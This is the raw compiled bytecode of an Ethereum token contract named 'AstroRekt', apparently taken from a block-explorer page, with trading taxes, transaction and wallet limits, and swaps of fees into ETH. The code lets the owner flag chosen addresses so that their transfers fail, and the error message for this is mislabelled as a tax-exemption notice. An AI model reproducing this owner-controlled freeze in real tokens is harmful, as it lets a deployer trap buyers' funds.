ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e6184866122e790919063ffffffff16565b604051611e6e9190612577565b60405180910390a350505050565b5f838311158290611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba919061241b565b60405180910390fd5b505f8385611ed1919061306a565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f1557611f1461309d565b5b604051908082528060200260200182016040528015611f435781602001602082028036833780820191505090505b50905030815f81518110611f5a57611f596130ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ffe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061202291906129d3565b81600181518110612036576120356130ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209c3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ba565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120fe9594939291906131ae565b5f604051808303815f87803b158015612115575f80fd5b505af1158015612127573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121ae573d5f803e3d5ffd5b5050565b5f8083036121c2575f9050612223565b5f82846121cf9190612916565b90508284826121de9190613233565b1461221e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612215906132d3565b60405180910390fd5b809150505b92915050565b5f61226a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612330565b905092915050565b5f8183116122805782612282565b815b905092915050565b5f8082846122989190612f88565b9050838110156122dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d49061333b565b60405180910390fd5b8091505092915050565b5f61232883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e7c565b905092915050565b5f8083118290612376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236d919061241b565b60405180910390fd5b505f83856123849190613233565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123c85780820151818401526020810190506123ad565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123ed82612391565b6123f7818561239b565b93506124078185602086016123ab565b612410816123d3565b840191505092915050565b5f6020820190508181035f83015261243381846123e3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124688261243f565b9050919050565b6124788161245e565b8114612482575f80fd5b50565b5f813590506124938161246f565b92915050565b5f819050919050565b6124ab81612499565b81146124b5575f80fd5b50565b5f813590506124c6816124a2565b92915050565b5f80604083850312156124e2576124e161243b565b5b5f6124ef85828601612485565b9250506020612500858286016124b8565b9150509250929050565b5f8115159050919050565b61251e8161250a565b82525050565b5f6020820190506125375f830184612515565b92915050565b5f602082840312156125525761255161243b565b5b5f61255f84828501612485565b91505092915050565b61257181612499565b82525050565b5f60208201905061258a5f830184612568565b92915050565b5f805f606084860312156125a7576125a661243b565b5b5f6125b486828701612485565b93505060206125c586828701612485565b92505060406125d6868287016124b8565b9150509250925092565b5f60ff82169050919050565b6125f5816125e0565b82525050565b5f60208201905061260e5f8301846125ec565b92915050565b61261d8161245e565b82525050565b5f6020820190506126365f830184612614565b92915050565b5f80604083850312156126525761265161243b565b5b5f61265f85828601612485565b925050602061267085828601612485565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126ae60208361239b565b91506126b98261267a565b602082019050919050565b5f6020820190508181035f8301526126db816126a2565b9050919050565b7f7573657220697320616c7265616479206578656d70742066726f6d20746178655f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61273c60218361239b565b9150612747826126e2565b604082019050919050565b5f6020820190508181035f83015261276981612730565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156127f2578086048111156127ce576127cd612770565b5b60018516156127dd5780820291505b80810290506127eb8561279d565b94506127b2565b94509492505050565b5f8261280a57600190506128c5565b81612817575f90506128c5565b816001811461282d576002811461283757612866565b60019150506128c5565b60ff84111561284957612848612770565b5b8360020a9150848211156128605761285f612770565b5b506128c5565b5060208310610133831016604e8410600b841016171561289b5782820a90508381111561289657612895612770565b5b6128c5565b6128a884848460016127a9565b925090508184048111156128bf576128be612770565b5b81810290505b9392505050565b5f6128d682612499565b91506128e1836125e0565b925061290e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127fb565b905092915050565b5f61292082612499565b915061292b83612499565b925082820261293981612499565b915082820484148315176129505761294f612770565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61298b60178361239b565b915061299682612957565b602082019050919050565b5f6020820190508181035f8301526129b88161297f565b9050919050565b5f815190506129cd8161246f565b92915050565b5f602082840312156129e8576129e761243b565b5b5f6129f5848285016129bf565b91505092915050565b5f604082019050612a115f830185612614565b612a1e6020830184612614565b9392505050565b5f819050919050565b5f819050919050565b5f612a51612a4c612a4784612a25565b612a2e565b612499565b9050919050565b612a6181612a37565b82525050565b5f60c082019050612a7a5f830189612614565b612a876020830188612568565b612a946040830187612a58565b612aa16060830186612a58565b612aae6080830185612614565b612abb60a0830184612568565b979650505050505050565b5f81519050612ad4816124a2565b92915050565b5f805f60608486031215612af157612af061243b565b5b5f612afe86828701612ac6565b9350506020612b0f86828701612ac6565b9250506040612b2086828701612ac6565b9150509250925092565b5f604082019050612b3d5f830185612614565b612b4a6020830184612568565b9392505050565b612b5a8161250a565b8114612b64575f80fd5b50565b5f81519050612b7581612b51565b92915050565b5f60208284031215612b9057612b8f61243b565b5b5f612b9d84828501612b67565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c0060248361239b565b9150612c0b82612ba6565b604082019050919050565b5f6020820190508181035f830152612c2d81612bf4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c8e60228361239b565b9150612c9982612c34565b604082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d1c60258361239b565b9150612d2782612cc2565b604082019050919050565b5f6020820190508181035f830152612d4981612d10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612daa60238361239b565b9150612db582612d50565b604082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e3860298361239b565b9150612e4382612dde565b604082019050919050565b5f6020820190508181035f830152612e6581612e2c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612eec60498361239b565b9150612ef782612e6c565b606082019050919050565b5f6020820190508181035f830152612f1981612ee0565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f5460198361239b565b9150612f5f82612f20565b602082019050919050565b5f6020820190508181035f830152612f8181612f48565b9050919050565b5f612f9282612499565b9150612f9d83612499565b9250828201905080821115612fb557612fb4612770565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612fef601a8361239b565b9150612ffa82612fbb565b602082019050919050565b5f6020820190508181035f83015261301c81612fe3565b9050919050565b5f61302d82612499565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361305f5761305e612770565b5b600182019050919050565b5f61307482612499565b915061307f83612499565b925082820390508181111561309757613096612770565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131298161245e565b82525050565b5f61313a8383613120565b60208301905092915050565b5f602082019050919050565b5f61315c826130f7565b6131668185613101565b935061317183613111565b805f5b838110156131a1578151613188888261312f565b975061319383613146565b925050600181019050613174565b5085935050505092915050565b5f60a0820190506131c15f830188612568565b6131ce6020830187612a58565b81810360408301526131e08186613152565b90506131ef6060830185612614565b6131fc6080830184612568565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61323d82612499565b915061324883612499565b92508261325857613257613206565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132bd60218361239b565b91506132c882613263565b604082019050919050565b5f6020820190508181035f8301526132ea816132b1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613325601b8361239b565b9150613330826132f1565b602082019050919050565b5f6020820190508181035f83015261335281613319565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e3282e4c14ce5d1da7c0988ceeef3cce7117b79b2c23d9d2f962cf83b41578164736f6c63430008140033
Deployed Bytecode
0x60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103a4578063a9059cbb146103ce578063bf474bed1461040a578063c876d0b914610434578063c9567bf91461045e578063dd62ed3e1461047457610134565b8063715018a6146102fa578063751039fc146103105780637d1db4a5146103265780638da5cb5b146103505780638f9a55c01461037a57610134565b806323b872dd116100f157806323b872dd1461021a578063313ce56714610256578063519b1a441461028057806351bc3c85146102a857806370a08231146102be57610134565b806306fdde0314610138578063095ea7b3146101625780630efd78011461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b604051610159919061241b565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124cc565b6104ed565b6040516101959190612524565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf919061253d565b61050a565b005b3480156101d1575f80fd5b506101da610680565b6040516101e79190612577565b60405180910390f35b3480156101fb575f80fd5b50610204610686565b6040516102119190612577565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190612590565b6106a9565b60405161024d9190612524565b60405180910390f35b348015610261575f80fd5b5061026a61077d565b60405161027791906125fb565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a1919061253d565b610785565b005b3480156102b3575f80fd5b506102bc6108f9565b005b3480156102c9575f80fd5b506102e460048036038101906102df919061253d565b610991565b6040516102f19190612577565b60405180910390f35b348015610305575f80fd5b5061030e6109d7565b005b34801561031b575f80fd5b50610324610b25565b005b348015610331575f80fd5b5061033a610c6d565b6040516103479190612577565b60405180910390f35b34801561035b575f80fd5b50610364610c73565b6040516103719190612623565b60405180910390f35b348015610385575f80fd5b5061038e610c9a565b60405161039b9190612577565b60405180910390f35b3480156103af575f80fd5b506103b8610ca0565b6040516103c5919061241b565b60405180910390f35b3480156103d9575f80fd5b506103f460048036038101906103ef91906124cc565b610cdd565b6040516104019190612524565b60405180910390f35b348015610415575f80fd5b5061041e610cfa565b60405161042b9190612577565b60405180910390f35b34801561043f575f80fd5b50610448610d00565b6040516104559190612524565b60405180910390f35b348015610469575f80fd5b50610472610d12565b005b34801561047f575f80fd5b5061049a6004803603810190610495919061263c565b611231565b6040516104a79190612577565b60405180910390f35b60606040518060400160405280600981526020017f417374726f52656b740000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112b3565b84846112ba565b6001905092915050565b6105126112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610595906126c4565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612752565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60125481565b5f6009600a61069591906128cc565b63ee6b28006106a49190612916565b905090565b5f6106b584848461147d565b610772846106c16112b3565b61076d8560405180606001604052806028815260200161335a6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107246112b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e7c9092919063ffffffff16565b6112ba565b600190509392505050565b5f6009905090565b61078d6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610819576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610810906126c4565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089990612752565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093a6112b3565b73ffffffffffffffffffffffffffffffffffffffff1614610959575f80fd5b5f61096330610991565b90505f8111156109775761097681611ede565b5b5f4790505f81111561098d5761098c81612149565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109df6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a62906126c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b2d6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906126c4565b60405180910390fd5b6009600a610bc791906128cc565b63ee6b2800610bd69190612916565b600f819055506009600a610bea91906128cc565b63ee6b2800610bf99190612916565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c4791906128cc565b63ee6b2800610c569190612916565b604051610c639190612577565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600981526020017f417374726f52656b740000000000000000000000000000000000000000000000815250905090565b5f610cf0610ce96112b3565b848461147d565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610d1a6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d906126c4565b60405180910390fd5b60148054906101000a900460ff1615610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb906129a1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e903060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e7c91906128cc565b63ee6b2800610e8b9190612916565b6112ba565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1e91906129d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc891906129d3565b6040518363ffffffff1660e01b8152600401610fe59291906129fe565b6020604051808303815f875af1158015611001573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102591906129d3565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ac30610991565b5f806110b6610c73565b426040518863ffffffff1660e01b81526004016110d896959493929190612a67565b60606040518083038185885af11580156110f4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111199190612ada565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111b9929190612b2a565b6020604051808303815f875af11580156111d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f99190612b7b565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90612c16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d90612ca4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114709190612577565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290612d32565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090612dc0565b60405180910390fd5b5f811161159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290612e4e565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161c90612752565b60405180910390fd5b5f61162e610c73565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561169c575061166c610c73565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bcc576116dd60646116cf600b54600e54116116bc576007546116c0565b6009545b856121b290919063ffffffff16565b61222990919063ffffffff16565b905060065f9054906101000a900460ff16156118655760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611864574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890612f02565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561190e575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611961575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a1b57600f548211156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290612f6a565b60405180910390fd5b601054826119b885610991565b6119c29190612f88565b1115611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613005565b60405180910390fd5b600e5f815480929190611a1590613023565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ae757611ae46064611ad6600c54600e5411611ac357600854611ac7565b600a545b856121b290919063ffffffff16565b61222990919063ffffffff16565b90505b5f611af130610991565b9050601460159054906101000a900460ff16158015611b5c575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b745750601460169054906101000a900460ff165b8015611b81575060115481115b8015611b905750600d54600e54115b15611bca57611bb2611bad84611ba884601254612272565b612272565b611ede565b5f4790505f811115611bc857611bc747612149565b5b505b505b5f811115611ccb57611c248160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cc29190612577565b60405180910390a35b611d1b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dbe611d7282846122e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e6184866122e790919063ffffffff16565b604051611e6e9190612577565b60405180910390a350505050565b5f838311158290611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba919061241b565b60405180910390fd5b505f8385611ed1919061306a565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f1557611f1461309d565b5b604051908082528060200260200182016040528015611f435781602001602082028036833780820191505090505b50905030815f81518110611f5a57611f596130ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ffe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061202291906129d3565b81600181518110612036576120356130ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209c3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ba565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120fe9594939291906131ae565b5f604051808303815f87803b158015612115575f80fd5b505af1158015612127573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121ae573d5f803e3d5ffd5b5050565b5f8083036121c2575f9050612223565b5f82846121cf9190612916565b90508284826121de9190613233565b1461221e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612215906132d3565b60405180910390fd5b809150505b92915050565b5f61226a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612330565b905092915050565b5f8183116122805782612282565b815b905092915050565b5f8082846122989190612f88565b9050838110156122dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d49061333b565b60405180910390fd5b8091505092915050565b5f61232883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e7c565b905092915050565b5f8083118290612376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236d919061241b565b60405180910390fd5b505f83856123849190613233565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123c85780820151818401526020810190506123ad565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123ed82612391565b6123f7818561239b565b93506124078185602086016123ab565b612410816123d3565b840191505092915050565b5f6020820190508181035f83015261243381846123e3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124688261243f565b9050919050565b6124788161245e565b8114612482575f80fd5b50565b5f813590506124938161246f565b92915050565b5f819050919050565b6124ab81612499565b81146124b5575f80fd5b50565b5f813590506124c6816124a2565b92915050565b5f80604083850312156124e2576124e161243b565b5b5f6124ef85828601612485565b9250506020612500858286016124b8565b9150509250929050565b5f8115159050919050565b61251e8161250a565b82525050565b5f6020820190506125375f830184612515565b92915050565b5f602082840312156125525761255161243b565b5b5f61255f84828501612485565b91505092915050565b61257181612499565b82525050565b5f60208201905061258a5f830184612568565b92915050565b5f805f606084860312156125a7576125a661243b565b5b5f6125b486828701612485565b93505060206125c586828701612485565b92505060406125d6868287016124b8565b9150509250925092565b5f60ff82169050919050565b6125f5816125e0565b82525050565b5f60208201905061260e5f8301846125ec565b92915050565b61261d8161245e565b82525050565b5f6020820190506126365f830184612614565b92915050565b5f80604083850312156126525761265161243b565b5b5f61265f85828601612485565b925050602061267085828601612485565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126ae60208361239b565b91506126b98261267a565b602082019050919050565b5f6020820190508181035f8301526126db816126a2565b9050919050565b7f7573657220697320616c7265616479206578656d70742066726f6d20746178655f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61273c60218361239b565b9150612747826126e2565b604082019050919050565b5f6020820190508181035f83015261276981612730565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156127f2578086048111156127ce576127cd612770565b5b60018516156127dd5780820291505b80810290506127eb8561279d565b94506127b2565b94509492505050565b5f8261280a57600190506128c5565b81612817575f90506128c5565b816001811461282d576002811461283757612866565b60019150506128c5565b60ff84111561284957612848612770565b5b8360020a9150848211156128605761285f612770565b5b506128c5565b5060208310610133831016604e8410600b841016171561289b5782820a90508381111561289657612895612770565b5b6128c5565b6128a884848460016127a9565b925090508184048111156128bf576128be612770565b5b81810290505b9392505050565b5f6128d682612499565b91506128e1836125e0565b925061290e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127fb565b905092915050565b5f61292082612499565b915061292b83612499565b925082820261293981612499565b915082820484148315176129505761294f612770565b5b5092915050565b7f74726164696e6720697320616c72656164